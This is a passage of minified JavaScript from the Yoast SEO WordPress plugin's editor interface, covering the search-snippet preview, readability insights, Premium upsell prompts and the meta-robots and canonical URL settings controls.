(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO")));Us.propTypes={link:a().string.isRequired,text:a().string.isRequired};const Ws=Us,js=function(e,t){let s=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(s=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[s]&&(e.url=e.url.slice(0,s)+e.url.slice(s+1)),function(e){const t=(0,i.get)(window,["YoastSEO","app","pluggable"],!1);if(!t||!(0,i.get)(window,["YoastSEO","app","pluggable","loaded"],!1))return function(e){const t=(0,i.get)(window,["YoastSEO","wp","replaceVarsPlugin","replaceVariables"],i.identity);return{url:e.url,title:Os(t(e.title)),description:Os(t(e.description)),filteredSEOTitle:e.filteredSEOTitle?Os(t(e.filteredSEOTitle)):""}}(e);const s=t._applyModifications.bind(t);return{url:e.url,title:Os(s("data_page_title",e.title)),description:Os(s("data_meta_desc",e.description)),filteredSEOTitle:e.filteredSEOTitle?Os(s("data_page_title",e.filteredSEOTitle)):""}}(e)},Ks=(0,Ee.compose)([(0,h.withSelect)((function(e){const{getBaseUrlFromSettings:t,getDateFromSettings:s,getFocusKeyphrase:r,getRecommendedReplaceVars:n,getReplaceVars:o,getShoppingData:a,getSiteIconUrlFromSettings:i,getSnippetEditorData:l,getSnippetEditorMode:c,getSnippetEditorPreviewImageUrl:d,getSnippetEditorWordsToHighlight:u,isCornerstoneContent:p,getIsTerm:m,getContentLocale:h,getSiteName:g}=e("yoast-seo/editor"),y=o();return y.forEach((e=>{""!==e.value||["title","excerpt","excerpt_only"].includes(e.name)||(e.value="%%"+e.name+"%%")})),{baseUrl:t(),data:l(),date:s(),faviconSrc:i(),keyword:r(),mobileImageSrc:d(),mode:c(),recommendedReplacementVariables:n(),replacementVariables:y,shoppingData:a(),wordsToHighlight:u(),isCornerstone:p(),isTaxonomy:m(),locale:h(),siteName:g()}})),(0,h.withDispatch)((function(e,t,{select:s}){const{updateData:r,switchMode:n,updateAnalysisData:o,findCustomFields:a}=e("yoast-seo/editor"),i=e("core/editor"),l=s("yoast-seo/editor").getPostId();return{onChange:(e,t)=>{switch(e){case"mode":n(t);break;case"slug":r({slug:t}),i&&i.editPost({slug:t});break;default:r({[e]:t})}},onChangeAnalysisData:o,onReplacementVariableSearchChange:Bs(l,a)}}))])((t=>{const s=(0,h.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/product-google-preview-metabox")),[]),r=(0,h.useSelect)((e=>e("yoast-seo/editor").getIsWooSeoUpsell()),[]),n=(0,g.__)("Want an enhanced Google preview of how your WooCommerce products look in the search results?","wordpress-seo");return(0,e.createElement)(d.LocationConsumer,null,(o=>(0,e.createElement)(qs,{icon:"eye",hasPaperStyle:t.hasPaperStyle},(0,e.createElement)(e.Fragment,null,r&&(0,e.createElement)(Ws,{link:s,text:n}),(0,e.createElement)(Cs.SnippetEditor,{...t,descriptionPlaceholder:(0,g.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:js,showCloseButton:!1,idSuffix:o})))))})),Hs=(0,h.withSelect)((e=>{const{getWarningMessage:t}=e("yoast-seo/editor");return{message:t()}}))(ue.Warning),Ys=window.yoast.featureFlag,zs=c()(ue.Collapsible)`
	h2 > button {
		padding-left: 24px;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,Vs=t=>(0,e.createElement)(zs,{hasPadding:!0,hasSeparator:!0,...t}),Gs=()=>{const t=(0,h.useSelect)((e=>e("yoast-seo/editor").getEstimatedReadingTime()),[]),s=(0,r.useMemo)((()=>(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-estimated_reading_time","")),[]);return(0,e.createElement)(ue.InsightsCard,{amount:t,unit:(0,g._n)("minute","minutes",t,"wordpress-seo"),title:(0,g.__)("Reading time","wordpress-seo"),linkTo:s
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about reading time","wordpress-seo")})},Zs=(0,Re.makeOutboundLink)();function Xs(t,s,r){const n=function(e){switch(e){case me.DIFFICULTY.FAIRLY_DIFFICULT:case me.DIFFICULTY.DIFFICULT:case me.DIFFICULTY.VERY_DIFFICULT:return(0,g.__)("Try to make shorter sentences, using less difficult words to improve readability","wordpress-seo");case me.DIFFICULTY.NO_DATA:return(0,g.__)("Continue writing to get insight into the readability of your text!","wordpress-seo");default:return(0,g.__)("Good job!","wordpress-seo")}}(s);return(0,e.createElement)("span",null,function(e,t){return-1===e?(0,g.sprintf)((0,g.__)("Your text should be slightly longer to calculate your Flesch reading ease score.","wordpress-seo")):(0,g.sprintf)(
/* Translators: %1$s expands to the numeric Flesch reading ease score,
  		%2$s expands to the easiness of reading (e.g. 'easy' or 'very difficult').
  	 */
(0,g.__)("The copy scores %1$s in the test, which is considered %2$s to read.","wordpress-seo"),e,function(e){switch(e){case me.DIFFICULTY.NO_DATA:return(0,g.__)("no data","wordpress-seo");case me.DIFFICULTY.VERY_EASY:return(0,g.__)("very easy","wordpress-seo");case me.DIFFICULTY.EASY:return(0,g.__)("easy","wordpress-seo");case me.DIFFICULTY.FAIRLY_EASY:return(0,g.__)("fairly easy","wordpress-seo");case me.DIFFICULTY.OKAY:return(0,g.__)("okay","wordpress-seo");case me.DIFFICULTY.FAIRLY_DIFFICULT:return(0,g.__)("fairly difficult","wordpress-seo");case me.DIFFICULTY.DIFFICULT:return(0,g.__)("difficult","wordpress-seo");case me.DIFFICULTY.VERY_DIFFICULT:return(0,g.__)("very difficult","wordpress-seo")}}(t))}(t,s)," ",s>=me.DIFFICULTY.FAIRLY_DIFFICULT?(0,e.createElement)(Zs,{href:r},n+"."):n)}const Qs=()=>{let t=(0,h.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseScore()),[]);const s=(0,r.useMemo)((()=>(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease","")),[]),n=(0,h.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseDifficulty()),[t]),o=(0,r.useMemo)((()=>{const e=(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease_article","");return Xs(t,n,e)}),[t,n]);return-1===t&&(t="?"),(0,e.createElement)(ue.InsightsCard,{amount:t,unit:(0,g.__)("out of 100","wordpress-seo"),title:(0,g.__)("Flesch reading ease","wordpress-seo"),linkTo:s
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about Flesch reading ease","wordpress-seo"),description:o})};let Js,er,tr,sr;const rr=/<(\/)?(\w+)\s*(\/)?>/g;function nr(e,t,s,r,n){return{element:e,tokenStart:t,tokenLength:s,prevOffset:r,leadingTextStart:n,children:[]}}function or(){const e=Js.length-er;0!==e&&tr.push(Js.substring(er,er+e))}function ar(e){const{element:t,tokenStart:s,tokenLength:n,prevOffset:o,children:a}=e,i=sr[sr.length-1],l=Js.substring(i.prevOffset,s);l&&i.children.push(l),i.children.push((0,r.cloneElement)(t,null,...a)),i.prevOffset=o||s+n}function ir(e){const t=function(){const e=rr.exec(Js);if(null===e)return["no-more-tokens"];const t=e.index,[s,r,n,o]=e,a=s.length;return o?["self-closed",n,t,a]:r?["closer",n,t,a]:["opener",n,t,a]}(),[s,n,o,a]=t,i=sr.length,l=o>er?er:null;if(!e[n])return or(),!1;switch(s){case"no-more-tokens":if(0!==i){const{leadingTextStart:e,tokenStart:t}=sr.pop();tr.push(Js.substring(e,e+t))}return or(),!1;case"self-closed":return 0===i?(null!==l&&tr.push(Js.substring(l,o)),tr.push(e[n]),er=o+a,!0):(ar(nr(e[n],o,a)),er=o+a,!0);case"opener":return sr.push(nr(e[n],o,a,o+a,l)),er=o+a,!0;case"closer":if(1===i)return function(e){const{element:t,leadingTextStart:s,prevOffset:n,tokenStart:o,children:a}=sr.pop(),i=e?Js.substring(n,e):Js.substring(n);i&&a.push(i),null!==s&&tr.push(Js.substring(s,o)),tr.push((0,r.cloneElement)(t,null,...a))}(o),er=o+a,!0;const t=sr.pop(),s=Js.substring(t.prevOffset,o);t.children.push(s),t.prevOffset=o+a;const c=nr(t.element,t.tokenStart,t.tokenLength,o+a);return c.children=t.children,ar(c),er=o+a,!0;default:return or(),!1}}const lr=(e,t)=>{if(Js=e,er=0,tr=[],sr=[],rr.lastIndex=0,!(e=>{const t="object"==typeof e,s=t&&Object.values(e);return t&&s.length&&s.every((e=>(0,r.isValidElement)(e)))})(t))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are WPElements");do{}while(ir(t));return(0,r.createElement)(r.Fragment,null,...tr)},cr=({data:t,itemScreenReaderText:s,className:n,...o})=>{const a=(0,r.useMemo)((()=>{var e,s;return null!==(e=null===(s=(0,i.maxBy)(t,"number"))||void 0===s?void 0:s.number)&&void 0!==e?e:0}),[t]);return(0,e.createElement)("ul",{className:_e()("yoast-data-model",n),...o},t.map((({name:t,number:r})=>(0,e.createElement)("li",{key:`${t}_dataItem`,style:{"--yoast-width":r/a*100+"%"}},t,(0,e.createElement)("span",null,r),s&&(0,e.createElement)("span",{className:"screen-reader-text"},(0,g.sprintf)(s,r))))))};cr.propTypes={data:a().arrayOf(a().shape({name:a().string.isRequired,number:a().number.isRequired})),itemScreenReaderText:a().string,className:a().string},cr.defaultProps={data:[],itemScreenReaderText:"",className:""};const dr=cr,ur=window.wp.url,pr=(0,Re.makeOutboundLink)(),mr=({location:t})=>{const s=(0,h.useSelect)((e=>{var t,s;return null===(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getPreference("isProminentWordsAvailable",!1))||void 0===t||t}),[]),n=(0,h.useSelect)((e=>e("yoast-seo/editor").getPreference("shouldUpsell",!1)),[]),o=(0,r.useMemo)((()=>(0,i.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${t}-prominent_words`,"")),[t]),a=(0,r.useMemo)((()=>{const t=(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-keyword_research_link","");return lr((0,g.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,g.__)("Read our %1$sultimate guide to keyword research%2$s to learn more about keyword research and keyword strategy.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)(pr,{href:t})})}),[]),l=(0,r.useMemo)((()=>lr((0,g.sprintf)(
// translators: %1$s expands to a starting `b` tag, %1$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,g.__)("With %1$s%3$s%2$s, this section will show you which words occur most often in your text. By checking these prominent words against your intended keyword(s), you'll know how to edit your text to be more focused.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,e.createElement)("b",null)})),[]),c=(0,h.useSelect)((e=>{var t,s;return null!==(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getProminentWords())&&void 0!==t?t:[]}),[]),u=(0,r.useMemo)((()=>{const e=(0,g.sprintf)(
// translators: %1$s expands to Yoast SEO Premium.
(0,g.__)("Get %s to enjoy the benefits of prominent words","wordpress-seo"),"Yoast SEO Premium").split(/\s+/);return e.map(((t,s)=>({name:t,number:e.length-s})))}),[]),p=(0,r.useMemo)((()=>n?u:c.map((({word:e,occurrence:t})=>({name:e,number:t})))),[c,u]);if(!s)return null;const{locationContext:m}=(0,d.useRootContext)();return(0,e.createElement)("div",{className:"yoast-prominent-words"},(0,e.createElement)("div",{className:"yoast-field-group__title"},(0,e.createElement)("b",null,(0,g.__)("Prominent words","wordpress-seo"))),!n&&(0,e.createElement)("p",null,0===p.length?(0,g.__)("Once you add a bit more copy, we'll give you a list of words that occur the most in the content. These give an indication of what your content focuses on.","wordpress-seo"):(0,g.__)("The following words occur the most in the content. These give an indication of what your content focuses on. If the words differ a lot from your topic, you might want to rewrite your content accordingly.","wordpress-seo")),n&&(0,e.createElement)("p",null,l),n&&(0,e.createElement)(pr,{href:(0,ur.addQueryArgs)(o,{context:m}),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yoast-button yoast-button-upsell"},(0,g.sprintf)(
// translators: %s expands to `Premium` (part of add-on name).
(0,g.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,e.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,e.createElement)("p",null,a),(0,e.createElement)(dr,{data:p,itemScreenReaderText:/* translators: Hidden accessibility text; %d expands to the number of occurrences. */
(0,g.__)("%d occurrences","wordpress-seo"),"aria-label":(0,g.__)("Prominent words","wordpress-seo"),className:n?"yoast-data-model--upsell":null}))};mr.propTypes={location:a().string.isRequired};const hr=mr,gr=()=>{const t=(0,h.useSelect)((e=>e("yoast-seo/editor").getTextLength()),[]),s=(0,r.useMemo)((()=>(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-word_count","")),[]);let n=(0,g._n)("word","words",t.count,"wordpress-seo"),o=(0,g.__)("Word count","wordpress-seo"),a=(0,g.__)("Learn more about word count","wordpress-seo");return"character"===t.unit&&(n=(0,g._n)("character","characters",t.count,"wordpress-seo"),o=(0,g.__)("Character count","wordpress-seo"),
/* translators: Hidden accessibility text. */
a=(0,g.__)("Learn more about character count","wordpress-seo")),(0,e.createElement)(ue.InsightsCard,{amount:t.count,unit:n,title:o,linkTo:s,linkText:a})},yr=(0,Re.makeOutboundLink)(),fr=({location:t})=>{const s=(0,r.useMemo)((()=>(0,i.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${t}-text_formality`,"")),[t]),n=(0,r.useMemo)((()=>lr((0,g.sprintf)(
// Translators: %1$s expands to a starting `b` tag, %2$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,g.__)("%1$s%3$s%2$s will help you assess the formality level of your text.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,e.createElement)("b",null)})),[]);return(0,e.createElement)(r.Fragment,null,(0,e.createElement)("div",null,(0,e.createElement)("p",null,n),(0,e.createElement)(yr,{href:s,className:"yoast-button yoast-button-upsell"},(0,g.sprintf)(
// Translators: %s expands to `Premium` (part of add-on name).
(0,g.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,e.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"}))))};fr.propTypes={location:a().string.isRequired};const wr=fr;function br(){return(0,i.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}const Er=({location:t,name:s})=>{const r=(0,h.useSelect)((e=>e("yoast-seo/editor").isFormalitySupported()),[]),o=br().isPremium,a=o?(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_premium",""):(0,i.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_free",""),l=(0,g.__)("Read more about text formality.","wordpress-seo");return r?(0,e.createElement)("div",{className:"yoast-text-formality"},(0,e.createElement)("div",{className:"yoast-field-group__title"},(0,e.createElement)("b",null,(0,g.__)("Text formality","wordpress-seo")),(0,e.createElement)(ue.HelpIcon,{linkTo:a,linkText:l})),o?(0,e.createElement)(n.Slot,{name:s}):(0,e.createElement)(wr,{location:t})):null};Er.propTypes={location:a().string.isRequired,name:a().string.isRequired};const vr=Er,kr=({location:t})=>{const s=(0,h.useSelect)((e=>e("yoast-seo/editor").isFleschReadingEaseAvailable()),[]);return(0,e.createElement)(Vs,{title:(0,g.__)("Insights","wordpress-seo"),id:`yoast-insights-collapsible-${t}`,className:"yoast-insights"},(0,e.createElement)(hr,{location:t}),(0,e.createElement)("div",null,s&&(0,e.createElement)("div",{className:"yoast-insights-row"},(0,e.createElement)(Qs,null)),(0,e.createElement)("div",{className:"yoast-insights-row yoast-insights-row--columns"},(0,e.createElement)(Gs,null),(0,e.createElement)(gr,null)),(0,Ys.isFeatureEnabled)("TEXT_FORMALITY")&&(0,e.createElement)(vr,{location:t,name:"YoastTextFormalityMetabox"})))};kr.propTypes={location:a().string},kr.defaultProps={location:"metabox"};const _r=kr,xr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),Tr=c().div`
  padding: 25px 32px 32px;
  color: #303030;
`,Rr=c().ul`
  margin: 0;
  padding: 0;

  li {
    list-style-image: var(--yoast-svg-icon-check);
    margin: 0.5rem 0 0 1.5rem;
    line-height: 1.4em;

    &::marker {
      font-size: 1.5rem;
    }
  }
`,Sr=c().span`
  display: block;
  margin-top: 4px;
`,Ir=c().h2`
  margin-top: 0;
  margin-bottom: 0.25rem;
  color: #303030;
  font-size: 0.8125rem;
  font-weight: 600;
`,Cr=c().p`
  display: block;
  margin: 0.25rem 0 1rem 0 !important;
  max-width: 420px;
`,Lr=c().hr`
  margin-top: 1.5rem;
  margin-bottom: 1rem;
  border-top: 0;
  border-bottom: 1px solid #E2E8F0;
`,Pr=c().div`
  text-align: center;
`,qr=c().a`
  width: 100%;
`,Ar=(0,Re.makeOutboundLink)(qr);class Fr extends r.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(t){return t.length>0&&(0,e.createElement)(Rr,{role:"list"},t.map(((t,s)=>(0,e.createElement)("li",{key:`upsell-benefit-${s}`},(0,r.createInterpolateElement)(t,{strong:(0,e.createElement)("strong",null)})))))}render(){const t=(0,h.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:s}=this.state,n=t?"69.30":null,o=n||s;return(0,e.createElement)(r.Fragment,null,t&&(0,e.createElement)("div",{className:"yst-flex  yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,e.createElement)("div",{className:"yst-mx-auto"},(0,g.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,e.createElement)(Tr,null,(0,e.createElement)(Ir,null,this.props.title),(0,e.createElement)(Cr,null,this.props.description),(0,e.createElement)(Pr,null,(0,e.createElement)(Ar,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,e.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,e.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},n&&(0,e.createElement)(r.Fragment,null,(0,e.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},s)," "),(0,e.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},o)," ",(0,g.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,e.createElement)(Sr,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,e.createElement)(Lr,null),(0,e.createElement)(Ir,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}Fr.propTypes={title:a().node,benefits:a().array,benefitsTitle:a().node,description:a().node,upsellButton:a().object,upsellButtonText:a().string.isRequired,upsellButtonLabel:a().string,upsellButtonHasCaret:a().bool},Fr.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const Nr=Fr,Mr=()=>{const[t,,,s,r]=(0,m.useToggleState)(!1),{locationContext:n}=(0,d.useRootContext)(),o=(0,m.useSvgAria)(),a=n.includes("sidebar"),i=n.includes("metabox"),l=wpseoAdminL10n[a?"shortlinks.upsell.sidebar.internal_linking_suggestions":"shortlinks.upsell.metabox.internal_linking_suggestions"];return(0,e.createElement)(e.Fragment,null,t&&(0,e.createElement)(Pe,{title:(0,g.__)("Get internal linking suggestions","wordpress-seo"),onRequestClose:r,additionalClassName:"",id:"yoast-internal-linking-suggestions-upsell",className:`${Ce} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,e.createElement)(Ie,null,(0,e.createElement)(Nr,{title:(0,g.__)("Rank higher by connecting your content","wordpress-seo"),description:(0,g.sprintf)(/* translators: %s expands to Yoast SEO Premium. */
(0,g.__)("%s automatically suggests to what content you can link with easy drag-and-drop functionality, which is good for your SEO!","wordpress-seo"),"Yoast SEO Premium"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:re(),upsellButtonText:(0,g.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,g.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:(0,ur.addQueryArgs)(l,{context:n}),className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,g.__)("1 year free support and updates included!","wordpress-seo")}))),a&&(0,e.createElement)(Oe,{id:"yoast-internal-linking-suggestions-sidebar-modal-open-button",title:(0,g.__)("Internal linking suggestions","wordpress-seo"),onClick:s},(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...o})))),i&&(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(Te,{id:"yoast-internal-linking-suggestions-metabox-modal-open-button",onClick:s},(0,e.createElement)(Te.Text,null,(0,g.__)("Internal linking suggestions","wordpress-seo")),(0,e.createElement)(m.Badge,{size:"small",variant:"upsell"},(0,e.createElement)(xr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...o}),(0,e.createElement)("span",null,"Premium")))))},Or=({children:t})=>(0,e.createElement)("div",null,t);Or.propTypes={renderPriority:a().number.isRequired,children:a().node.isRequired};const Dr=Or,$r=({noIndex:t,onNoIndexChange:s,editorContext:n,isPrivateBlog:o})=>{const a=(e=>{const t=(0,g.__)("No","wordpress-seo"),s=(0,g.__)("Yes","wordpress-seo"),r=e.noIndex?t:s;return window.wpseoScriptData.isPost?[{name:(0,g.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,g.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"0"},{name:t,value:"1"},{name:s,value:"2"}]:[{name:(0,g.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,g.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"default"},{name:s,value:"index"},{name:t,value:"noindex"}]})(n);return(0,e.createElement)(d.LocationConsumer,null,(n=>(0,e.createElement)(r.Fragment,null,o&&(0,e.createElement)(ue.Alert,{type:"warning"},(0,g.__)("Even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won't have an effect.","wordpress-seo")),(0,e.createElement)(ue.Select,{label:(0,g.__)("Allow search engines to show this content in search results?","wordpress-seo"),onChange:s,id:(0,Re.join)(["yoast-meta-robots-noindex",n]),options:a,selected:t,linkTo:wpseoAdminL10n["shortlinks.advanced.allow_search_engines"]
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about the no-index setting on our help page.","wordpress-seo")}))))};$r.propTypes={noIndex:a().string.isRequired,onNoIndexChange:a().func.isRequired,editorContext:a().object.isRequired,isPrivateBlog:a().bool},$r.defaultProps={isPrivateBlog:!1};const Br=({noFollow:t,onNoFollowChange:s})=>(0,e.createElement)(d.LocationConsumer,null,(r=>{const n=(0,Re.join)(["yoast-meta-robots-nofollow",r]);return(0,e.createElement)(ue.RadioButtonGroup,{id:n,options:[{value:"0",label:"Yes"},{value:"1",label:"No"}],label:(0,g.__)("Should search engines follow links on this content?","wordpress-seo"),groupName:n,onChange:s,selected:t,linkTo:wpseoAdminL10n["shortlinks.advanced.follow_links"]
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about the no-follow setting on our help page.","wordpress-seo")})}));Br.propTypes={noFollow:a().string.isRequired,onNoFollowChange:a().func.isRequired};const Ur=({advanced:t,onAdvancedChange:s})=>(0,e.createElement)(d.LocationConsumer,null,(r=>{const n=(0,Re.join)(["yoast-meta-robots-advanced",r]),o=`${n}-input`;return(0,e.createElement)(ue.MultiSelect,{label:(0,g.__)("Meta robots advanced","wordpress-seo"),onChange:s,id:n,inputId:o,options:[{name:(0,g.__)("No Image Index","wordpress-seo"),value:"noimageindex"},{name:(0,g.__)("No Archive","wordpress-seo"),value:"noarchive"},{name:(0,g.__)("No Snippet","wordpress-seo"),value:"nosnippet"}],selected:t,linkTo:wpseoAdminL10n["shortlinks.advanced.meta_robots"]
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about advanced meta robots settings on our help page.","wordpress-seo")})}));Ur.propTypes={advanced:a().array.isRequired,onAdvancedChange:a().func.isRequired};const Wr=({breadcrumbsTitle:t,onBreadcrumbsTitleChange:s})=>(0,e.createElement)(d.LocationConsumer,null,(r=>(0,e.createElement)(ue.TextInput,{label:(0,g.__)("Breadcrumbs Title","wordpress-seo"),id:(0,Re.join)(["yoast-breadcrumbs-title",r]),onChange:s,value:t,linkTo:wpseoAdminL10n["shortlinks.advanced.breadcrumbs_title"]
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about the breadcrumbs title setting on our help page.","wordpress-seo")})));Wr.propTypes={breadcrumbsTitle:a().string.isRequired,onBreadcrumbsTitleChange:a().func.isRequired};const jr=({canonical:t,onCanonicalChange:s})=>(0,e.createElement)(d.LocationConsumer,null,(r=>(0,e.createElement)(ue.TextInput,{label:(0,g.__)("Canonical URL","wordpress-seo"),id:(0,Re.join)(["yoast-canonical",r]),onChange:s,value:t,linkTo:"https://yoa.st/canonical-url"
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about canonical URLs on our help page.","wordpress-seo")})));jr.propTypes={canonical:a().string.isRequired,onCanonicalChange:a().func.isRequired};const Kr=t=>{const{noIndex:s,noFollow:n,advanced:o,breadcrumbsTitle:a,canonical:i,onNoIndexChange:l,onNoFollowChange:c,onAdvancedChange:d,onBreadcrumbsTitleChange:u,onCanonicalChange:p,onLoad:m,isLoading:h,editorContext:g,isBreadcrumbsDisabled:y,isPrivateBlog:f}=t;(0,r.useEffect)((()=>{setTimeout((()=>{h&&m()}))}));const w={noIndex:s,onNoIndexChange:l,editorContext:g,isPrivateBlog:f},b={noFollow:n,onNoFollowChange:c},E={advanced:o,onAdvancedChange:d},v={breadcrumbsTitle:a,onBreadcrumbsTitleChange:u},k={canonical:i,onCanonicalChange:p};return h?null:(0,e.createElement)(r.Fragment,null,(0,e.createElement)($r,{...w}),g.isPost&&(0,e.createElement)(Br,{...b}),g.isPost&&(0,e.createElement)(Ur,{...E}),!y&&(0,e.createElement)(Wr,{...v}),(0,e.createElement)(jr,{...k}))};Kr.propTypes={noIndex:a().string.isRequired,canonical:a().string.isRequired,onNoIndexChange:a().func.isRequired,onCanonicalChange:a().func.isRequired,onLoad:a().func.isRequired,isLoading:a().bool.isRequired,editorContext:a().object.isRequired,isBreadcrumbsDisabled:a().bool.isRequired,isPrivateBlog:a().bool,advanced:a().array,onAdvancedChange:a().func,noFollow:a().string,onNoFollowChange:a().func,breadcrumbsTitle:a().string,onBreadcrumbsTitleChange:a().func},Kr.defaultProps={advanced:[],onAdvancedChange:()=>{},noFollow:"",onNoFollowChange:()=>{},breadcrumbsTitle:"",onBreadcrumbsTitleChange:()=>{},isPrivateBlog:!1};const Hr=Kr,Yr=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getNoIndex:t,getNoFollow:s,getAdvanced:r,getBreadcrumbsTitle:n,getCanonical:o,getIsLoading:a,getEditorContext:i,getPreferences:l}=e("yoast-seo/editor"),{isBreadcrumbsDisabled:c,isPrivateBlog:d}=l();return{noIndex:t(),noFollow:s(),advanced:r(),breadcrumbsTitle:n(),canonical:o(),isLoading:a(),editorContext:i(),isBreadcrumbsDisabled:c,isPrivateBlog:d}})),(0,h.withDispatch)((e=>{const{setNoIndex:t,setNoFollow:s,setAdvanced:r,setBreadcrumbsTitle:n,setCanonical:o,loadAdvancedSettingsData:a}=e("yoast-seo/editor");return{onNoIndexChange:t,onNoFollowChange:s,onAdvancedChange:r,onBreadcrumbsTitleChange:n,onCanonicalChange:o,onLoad:a}}))])(Hr),zr=c().p`
	color: #606770;
	flex-shrink: 0;
	font-size: 12px;
	line-height: 16px;
	overflow: hidden;
	padding: 0;
	text-overflow: ellipsis;
	text-transform: uppercase;
	white-space: nowrap;
	margin: 0;
	position: ${e=>"landscape"===e.mode?"relative":"static"};
`,Vr=t=>{const{siteUrl:s}=t;return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",{className:"screen-reader-text"},s),(0,e.createElement)(zr,{"aria-hidden":"true"},(0,e.createElement)("span",null,s)))};Vr.propTypes={siteUrl:a().string.isRequired};const Gr=Vr,Zr=window.yoast.socialMetadataForms,Xr=c().img`
	&& {
		max-width: ${e=>e.width}px;
		height: ${e=>e.height}px;
		position: absolute;
		top: 50%;
		left: 50%;
		transform: translate(-50%, -50%);
		max-width: none;
	}
`,Qr=c().img`
	&&{
		height: 100%;
		position: absolute;
		width: 100%;
		object-fit: cover;
	}
`,Jr=c().div`
	padding-bottom: ${e=>e.aspectRatio}%;
